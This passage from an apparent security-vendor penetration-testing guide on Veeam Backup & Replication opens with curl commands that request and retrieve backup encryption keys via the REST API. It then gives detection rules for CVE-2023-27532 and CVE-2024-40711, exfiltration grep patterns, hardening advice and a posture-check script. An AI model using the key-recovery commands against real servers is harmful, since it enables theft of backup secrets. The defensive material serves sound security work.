curl -sk -X POST "https://${VEM_IP}:9398/api/backupFiles/BACKUP_FILE_ID/requestEncryptionKey" \
  -H "${VEM_AUTH}" -H "Content-Type: application/json" \
  -d '{"Reason":"Penetration test — authorized credential recovery"}'

# Once approved (or in misconfigured environments, auto-approved)
curl -sk "https://${VEM_IP}:9398/api/backupFiles/BACKUP_FILE_ID/encryptionKey" \
  -H "${VEM_AUTH}" | python3 -m json.tool

11. Detection and Threat Hunting

Detecting attacks against Veeam requires monitoring both the Veeam-specific Windows Event Log channels and network-level indicators. Veeam generates logs in C:\ProgramData\Veeam\Backup\ and the Windows Application Event Log under source Veeam Backup.

Windows Event Log Indicators

Event ID Source Indicator
Event 190 / 191 Veeam Backup REST API authentication success/failure — alert on failures from unexpected IPs
Event 500 Veeam Backup Credential manager access — bulk reads of credentials outside job execution
4624 (Logon Type 3) Security Network logon to Veeam server from non-backup workstations
4648 Security Explicit credential use — service account used interactively (lateral movement)
7045 System New service installed on Veeam server — common RCE post-exploitation
4698 Security Scheduled task created — RCE persistence mechanism

Network-Level Detection

# Veeam server Zeek/Suricata detection rules (concepts)

# Detect unauthenticated GET requests to /api/v1/credentials (CVE-2023-27532)
# Suricata rule:
# alert http any any -> $VEEAM_SERVERS 9419 (
#   msg:"CVE-2023-27532 Veeam Unauthenticated Credential Access";
#   http.method; content:"GET";
#   http.uri; content:"/api/v1/credentials";
#   http.request_header; not content:"Authorization";
#   sid:9002703; rev:1;)

# Detect abnormal POST to /api/v1/import with external URL (CVE-2024-40711 SSRF trigger)
# alert http any any -> $VEEAM_SERVERS 9419 (
#   msg:"CVE-2024-40711 Veeam SSRF Attempt";
#   http.method; content:"POST";
#   http.uri; content:"/api/v1/";
#   http.request_body; content:"http://";
#   sid:9024071; rev:1;)

# Monitor outbound HTTP/S from Veeam server to unexpected destinations (SSRF callback)
# tcpdump on the Veeam server:
tcpdump -i any -n "host 192.168.1.50 and port 80 or port 443 or port 8080" \
  -w /tmp/veeam_outbound.pcap

# Check Veeam API access logs
Get-WinEvent -LogName Application -FilterXPath "*[System[Provider[@Name='Veeam MP']]]" `
  | Where-Object {$_.Message -like "*credential*"} `
  | Select-Object TimeCreated, Message | Format-List

PostgreSQL Audit Logging

# Enable PostgreSQL query logging to detect direct DB access
# Edit postgresql.conf on the Veeam server:
# log_connections = on
# log_disconnections = on
# log_statement = 'all'
# log_min_duration_statement = 0

# Check for queries against the Credentials table from unexpected sources
grep -i "credentials" /var/log/postgresql/postgresql-*.log | \
  grep -v "Veeam" | grep -v "127.0.0.1"

# Detect pg_dump or large SELECT * operations (data exfil indicator)
grep -E "SELECT \*|pg_dump|COPY.*TO" /var/log/postgresql/postgresql-*.log

12. Defense Recommendations

Control Priority Implementation
Patch CVE-2023-27532 and CVE-2024-40711 Critical Upgrade to Veeam B&R v12.2+ (12.2.0.334) or apply vendor-supplied patches. Verify version via Get-VBRServerSession or REST API /api/v1/serverInfo.
Network segmentation Critical Firewall TCP 9419, 9420, 9421, 9398, 5432, and 6162 to backup administrator workstations only. Veeam management should not be reachable from user VLANs or DMZ.
Multi-factor authentication on REST API High Configure Veeam MFA (TOTP) for REST API and console access. Available in v12+. Also enforce MFA on Active Directory accounts used for Veeam management.
Immutable backup repositories High Use Veeam Hardened Linux Repository or S3 Object Lock (WORM) for backup targets. Immutability prevents ransomware from wiping backups even with full credential compromise.
Separate backup service accounts High Use dedicated least-privilege service accounts per backup role (proxy, repository, tape). Do not use Domain Admin for Veeam. Rotate credentials regularly via PAM (CyberArk, BeyondTrust).
Encrypt backup files High Enable backup file encryption in Veeam job settings. Store the encryption password in an external password manager, not in Veeam's credential store. Disable Enterprise Manager password loss recovery if not required.
Restrict PostgreSQL access High Configure pg_hba.conf to allow connections only from 127.0.0.1. Change the default PostgreSQL service account password and store it in a PAM solution.
Principle of least privilege for cloud keys High Cloud IAM keys stored in Veeam should have write-only access to the backup bucket — never read access to production resources. Use dedicated IAM users/service accounts for backup with minimal permissions.
Disable vPower NFS if unused Medium If instant VM recovery is not used, disable the vPower NFS service in Veeam configuration. If required, restrict access to the backup network segment only.
Windows firewall on backup server Medium Enable the Windows Firewall with a restrictive ruleset on the Veeam server. Restrict SMB (445) inbound to IT management hosts only. Block PowerShell remoting from non-admin subnets.
Enable Veeam audit logging Medium Enable all Veeam audit logs and forward to SIEM via Windows Event Forwarding. Alert on bulk credential reads, REST API access outside business hours, and new managed server additions.
Regular configuration review Medium Periodically audit the Veeam credential store — remove unused credentials. Review which accounts have Veeam Backup Administrator role. Use Veeam's built-in roles to limit access by function.
Hardened Linux Repository: Veeam's Hardened Linux Repository (XFS + immutability flag) is the current best practice for protecting backups against ransomware. It uses a dedicated Linux account that is locked down after repository configuration — even a full compromise of the Veeam Windows server cannot delete or overwrite immutable backup files on the Linux repository.

Security Configuration Verification Script

# Quick security posture check on Veeam Backup server (run as local admin)
# Requires Veeam PowerShell snap-in

Add-PSSnapin VeeamPSSnapIn -ErrorAction SilentlyContinue

# Check Veeam version
$version = [Veeam.Backup.Core.SBackupOptions]::VBRVersion
Write-Host "[*] Veeam Version: $version"
if ($version -lt [Version]"12.2.0.334") {
    Write-Host "[!] VULNERABLE: Version is below 12.2 — CVE-2023-27532 and CVE-2024-40711 may apply" -ForegroundColor Red
}

# Check for accounts with Veeam Backup Administrator role
$admins = Get-VBRUserRole | Where-Object {$_.Role -eq "BackupAdministrator"}
Write-Host "[*] Veeam Backup Administrators:"
$admins | ForEach-Object { Write-Host "  $($_.Name)" }

# Check credential store for domain admin accounts
$creds = Get-VBRCredentials
$domainAdmins = $creds | Where-Object {$_.Name -match "Administrator|admin|svc"}
Write-Host "[!] Potentially privileged credentials in store: $($domainAdmins.Count)"

# Check if encryption is enabled on backup jobs
$jobs = Get-VBRJob
$unencrypted = $jobs | Where-Object {-not $_.BackupStorageOptions.StorageEncryptionEnabled}
Write-Host "[!] Jobs without encryption: $($unencrypted.Count)"
$unencrypted | Select-Object Name | Format-Table

# Check PostgreSQL binding (should be localhost only)
netstat -ano | findstr "5432"

# Check vPower NFS service status
Get-Service VeeamNFSSvc | Select-Object Name, Status, StartType

Automate Your Veeam Security Assessments

Ironimo scans your Veeam Backup & Replication deployment for CVEs, misconfigured credential stores, unauthenticated API exposure, and insecure repository configurations — giving your team actionable findings without manual enumeration.

Start free scan

Summary

Veeam Backup & Replication is a high-value target in any penetration test or red team engagement. Its credential store aggregates privileged access to every protected system, its REST API has shipped with critical unauthenticated vulnerabilities (CVE-2023-27532, CVSS 7.5), and its deserialization attack surface yielded a CVSS 9.8 RCE (CVE-2024-40711) exploited by ransomware groups within weeks of disclosure.

Key takeaways for security teams: